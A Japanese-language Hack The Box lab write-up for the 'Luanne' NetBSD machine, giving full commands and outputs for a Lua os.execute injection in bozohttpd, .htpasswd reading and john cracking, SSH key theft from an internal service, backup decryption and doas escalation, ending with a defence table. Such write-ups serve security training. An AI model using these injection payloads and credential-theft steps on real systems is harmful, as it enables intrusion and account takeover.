Hack The BoxのWriteup(Luanne)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Luanne — 全実行コマンド・実行結果レポート
Nmap スキャン
22/ssh, 80/http (NetBSD)
→
robots.txt
Disallow: /weather
→
bozohttpd Lua
os.execute injection
→
.htpasswd読取 + john
webapi_user:iamthebest
→
開発用bozohttpd(3001)
id_rsa取得
→
SSH r.michaels → user.txt ✓
→
netpgp –decrypt
暗号化バックアップ復号
→
john再クラック
littlebear
→
doas -u root sh
PTY経由パスワード入力
→
root.txt ✓
PHASE 1

偵察 (Reconnaissance)

ポートスキャン

BASH
nmap -Pn -p- --min-rate 500 -T4 10.129.89.241
nmap -sV -sC -p 22,80 10.129.89.241
RESULT
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.0 (NetBSD 20190418-hpn13v14-lpk; protocol 2.0)
80/tcp open  http    nginx 1.19.0
|_http-title: 401 Unauthorized
| http-auth:
| HTTP/1.1 401 Unauthorized
|_  Basic realm=.
| http-robots.txt: 1 disallowed entry
|_/weather
Service Info: OS: NetBSD; CPE: cpe:/o:netbsd:netbsd
🚨
重要発見: OS検出でNetBSDと判明。HTBのLinuxマシンとは 異なるツール群(bozohttpd, netpgp, doas等)を想定した調査が必要になる。 さらにrobots.txtにDisallow: /weatherというエントリがあり、 これが本マシンの核心的な攻撃対象となる。

robots.txt と /weather の直接確認

BASH
curl -s http://10.129.89.241/robots.txt
curl -s http://10.129.89.241/weather/forecast
RESULT
User-agent: *
Disallow: /weather

{"code": 200, "message": "No city specified. Use 'city=list' to list available cities."}
ℹ️
/weather/forecastはJSON APIで、cityパラメータを受け取り 天気情報を返す仕組みになっている。ルート(/)はBasic認証で保護されているが、 /weather配下は認証なしでアクセス可能。

補助ポート9001の確認

BASH
curl -s -I --max-time 5 http://10.129.89.241:9001/
RESULT
HTTP/1.1 401 Unauthorized
Server: Medusa/1.12
WWW-Authenticate: Basic realm="default"
ℹ️
ポート9001はPythonのMedusa(supervisor系)Webサーバーで認証必須のため、 本検証では後述のRCE経路(Lua インジェクション)を優先する。
PHASE 2

bozohttpd Lua os.execute インジェクション

脆弱性の仕組み

NOTE
NetBSD標準の軽量Webサーバー"bozohttpd"は、Luaスクリプトでアプリケーション
ロジック(この場合は天気予報API)を実装できる拡張機能を持つ。/weather/forecast
エンドポイントのLuaコードは、受け取ったcityパラメータの値をそのまま
Lua式の文字列リテラルへ連結して評価している(典型的な文字列連結による
コードインジェクション脆弱性)。

CRITICAL: bozohttpd はクエリパラメータをURLデコードしない。
したがってペイロード中のシングルクォート(')は %27 にエンコードせず
生の文字で送らなければ注入が成立しない。空白など本来URLを壊す文字のみ
%20エンコードする。

ペイロード形式:
  ?city=')+os.execute('<コマンド>')+--

元のLuaコードがおおよそ
  local weather = get_weather('<city>')
のような文字列結合をしている場合、上記ペイロードは
  get_weather('')+os.execute('<コマンド>')+--')
相当に展開され、os.execute()が実行された上で以降の構文が
"--"によりLuaのコメントとして無効化される。

なお、Luaサンドボックス内では io.popen は nil(無効化)だが
os.execute はそのまま使える。os.execute自体は標準出力を返さないため、
サーバー側のエラーハンドラがコマンドの標準出力(厳密には次に実行される
get_weather呼び出しの"存在しない都市名"としての出力)をJSONの
エラーメッセージへそのまま含めてくれる、という副作用を利用して
出力を外部から観測する。

インジェクションの動作確認

BASH (idコマンドで動作確認、シングルクォートは生のまま)
curl -s --max-time 20 \
  "http://10.129.89.241/weather/forecast?city=')+os.execute('id')+--"
RESULT
{"code": 500,"error": "unknown city: uid=1001(_bozohttpd) gid=1001(_bozohttpd) ..."}
✅
RCE成功! コマンド出力が"unknown city: <出力>"という JSONエラーフィールド内に反映される。以降、任意のコマンドをこの形式で 実行し出力を読み取ることができる。
⚠️
実装上の注意: curlの-Gや自動URLエンコードに 頼らず、シングルクォートを%27へ変換しないエンコード方式 (urllib.parse.quote(..., safe="'()+-./:;~@!*")相当)を使うこと。 空白だけは%20でエンコードする必要がある。
PHASE 3

資格情報収集 & user.txt取得

/var/www/.htpasswd の読取

BASH
curl -s --max-time 20 \
  "http://10.129.89.241/weather/forecast?city=')+os.execute('cat%20/var/www/.htpasswd')+--"
RESULT (本検証の実際のレスポンスより)
{"code": 500,"error": "unknown city: webapi_user:$1$vVoNCsOl$lMtBS6GL2upDbR4Owhzyc0
ℹ️
ポート80ルートのBasic認証(/var/www/.htpasswd)で使われている webapi_userのmd5crypt($1$…)ハッシュを読み取れた。

john でハッシュをクラック

BASH
echo 'webapi_user:$1$vVoNCsOl$lMtBS6GL2upDbR4Owhzyc0' > hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
john --show hash.txt
RESULT (本検証の実際のjohn出力)
webapi_user:iamthebest

1 password hash cracked, 0 left
✅
クラック成功! webapi_user:iamthebest の資格情報を獲得。

開発用bozohttpd(localhost:3001)からSSH秘密鍵を取得

NOTE
本番用bozohttpd(ポート80, インジェクション対象)とは別に、ターゲット内部
localhostのみで動く開発用bozohttpdインスタンス(ポート3001)が存在する。
これは "-u" オプション(userdir機能)が有効化されており、
"/~<username>/<file>" 形式で各ユーザーのホームディレクトリ配下の
ファイルを配信できる。Basic認証は webapi_user:iamthebest で保護されている。
OSコマンドインジェクション経由でターゲット内部からこのURLへcurlすることで、
外部からは直接到達できないこの内部サービスを踏み台にして
r.michaelsユーザーのSSH秘密鍵を取得する。
BASH (インジェクション経由でid_rsaを取得)
curl -s --max-time 20 \
  "http://10.129.89.241/weather/forecast?city=')+os.execute('curl%20-s%20http://localhost:3001/~r.michaels/id_rsa%20--user%20webapi_user:iamthebest')+--"
RESULT (本検証の実際のレスポンスより、鍵本体を保存)
{"code": 500,"error": "unknown city: -----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
...(中略、本検証では2609バイトのレスポンスを完全取得)...
-----END OPENSSH PRIVATE KEY-----
⚠️
レスポンスからJSONの前後の装飾(“unknown city: “や末尾の引用符)を 取り除き、-----BEGIN OPENSSH PRIVATE KEY-----から -----END OPENSSH PRIVATE KEY-----までを正確に抜き出し、 末尾に改行を1つ付けて保存すること(無いとsshが鍵を読み込めない)。

SSHログイン & user.txt取得

BASH
chmod 600 r_michaels_id_rsa
ssh -i r_michaels_id_rsa -o StrictHostKeyChecking=no r.michaels@10.129.89.241 \
  "cat /home/r.michaels/user.txt"
RESULT
ea5f0ce6a917b0be1eabc7f9218febc0
user.txt — r.michaels
ea5f0ce6a917b0be1eabc7f9218febc0
PHASE 4

netpgp 暗号化バックアップ復号 → doas root.txt

暗号化バックアップの発見

BASH (r.michaelsシェル上で実行)
ssh -i r_michaels_id_rsa r.michaels@10.129.89.241 "ls -la ~/backups/"
RESULT
-rw-r--r--  1 r.michaels  r.michaels  <size>  devel_backup-2020-09-16.tar.gz.enc
ℹ️
NetBSD標準のOpenPGP実装netpgpで暗号化された開発用バックアップ アーカイブが見つかる。r.michaelsのホームディレクトリ(~/.gnupg相当)に 既に対応する秘密鍵が配置されているため、パスフレーズ入力なしに netpgp --decryptだけで復号できる。

netpgp で復号 & 展開

BASH
ssh -i r_michaels_id_rsa r.michaels@10.129.89.241 '
cp ~/backups/devel_backup-2020-09-16.tar.gz.enc /tmp/ &&
cd /tmp &&
netpgp --decrypt --output=devel_backup-2020-09-16.tar.gz \
  devel_backup-2020-09-16.tar.gz.enc &&
tar xvzf devel_backup-2020-09-16.tar.gz &&
cat devel-2020-09-16/www/.htpasswd
'
RESULT (本検証の実際の出力)
webapi_user:$1$6xc7I/LW$WuSQCS6n3yXsjPMSmwHDu.
✅
復号成功! バックアップ内に、現在の.htpasswdとは 異なる古いハッシュのwebapi_userエントリが含まれていた。 これはrootパスワードの再利用元になっている可能性が高い。

john で再クラック

BASH
echo 'webapi_user:$1$6xc7I/LW$WuSQCS6n3yXsjPMSmwHDu.' > hash2.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hash2.txt
john --show hash2.txt
RESULT (本検証の実際のjohn出力)
webapi_user:littlebear

1 password hash cracked, 0 left

doas でroot昇格 & root.txt取得

NOTE
NetBSDには sudo の代わりに軽量な doas が標準で使われることが多い。
doasはパスワードをTTY(擬似端末)経由で対話的に要求するため、
sshの-ttオプションでPTYを割り当てて実行する必要がある
(通常のパイプ経由では標準入力からのパスワード入力を受け付けない構成が多い)。
クラックしたパスワード"littlebear"をそのまま入力すると、ユーザーのdoas
ルールにより root シェルへ昇格できる。
BASH (expectでPTY越しにパスワードを送る、本検証で実際に使用)
ssh -tt -i r_michaels_id_rsa r.michaels@10.129.89.241 \
  "doas -u root sh -c 'cat /root/root.txt'"
# → "Password:" プロンプトが出たら littlebear を送信

# expectスクリプト例
expect -c '
spawn ssh -tt -i r_michaels_id_rsa r.michaels@10.129.89.241 "doas -u root sh -c \"cat /root/root.txt\""
expect "assword"
send "littlebear\r"
expect eof
'
RESULT
7a9b5c206e8e8ba09bb99bd113675f66
✅
root化成功! パスワードの再利用(古いバックアップの.htpasswdハッシュを クラックしたものがdoasのrootパスワードと一致)が本マシンの権限昇格の核心。
root.txt — doas -u root
7a9b5c206e8e8ba09bb99bd113675f66
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — r.michaels
ea5f0ce6a917b0be1eabc7f9218febc0
root.txt — doas -u root
7a9b5c206e8e8ba09bb99bd113675f66

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
Lua os.execute インジェクション bozohttpd /weather/forecast (city パラメータ) リモートコード実行(_bozohttpdユーザー) Critical URLデコードされない生のシングルクォートで文字列連結を脱出しos.execute()を注入
弱いmd5cryptハッシュ(.htpasswd) /var/www/.htpasswd (webapi_user) 資格情報の奪取 Medium rockyou.txtでjohnクラック → iamthebest
内部限定サービスへの踏み台アクセス 開発用bozohttpd (localhost:3001, userdir) SSH秘密鍵の漏洩 High RCEで得たコマンド実行権限からcurlでlocalhost限定の内部サービスへアクセス
パスワード再利用(古いバックアップ経由) netpgp暗号化バックアップ内の旧.htpasswd 権限昇格 (root) High 既配置の秘密鍵でバックアップを復号→旧ハッシュをクラック→doasのrootパスワードと一致

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap, robots.txt22/ssh(NetBSD), 80/http、/weather発見
2RCEbozohttpd Lua os.execute インジェクション_bozohttpdユーザーでのコマンド実行
3資格情報収集.htpasswd読取 + johnwebapi_user:iamthebest
4横移動内部bozohttpd(3001)からid_rsa取得 → SSHuser.txt (r.michaels)
5権限昇格netpgp復号 → john再クラック → doasroot.txt

学んだ教訓 & 防御策

問題点防御策
ユーザー入力をサニタイズせずLuaコードへ直接文字列連結している ユーザー入力は常にエスケープ/パラメータ化し、評価対象のコードと混在させない。可能であればos.execute等の危険なAPI自体をサンドボックスから排除する。
弱いパスワード(iamthebest/littlebear)がmd5cryptで保存されている bcrypt/scrypt/Argon2等の現代的なハッシュ関数を使用し、十分な長さ・複雑さを持つパスワードポリシーを強制する。
外部非公開のはずの内部サービス(localhost:3001)がRCE経由で踏み台にされた 内部限定サービスであっても単一のBasic認証に依存せず、ネットワーク分離・mTLS等の多層防御を適用する。
古いバックアップに含まれる資格情報が現在のrootパスワードと同一(パスワード再利用) バックアップであっても機密情報は暗号化+アクセス制御の対象とし、パスワードは用途ごとに使い分け、定期的にローテーションする。
HackTheBox: Luanne | 完全攻略レポート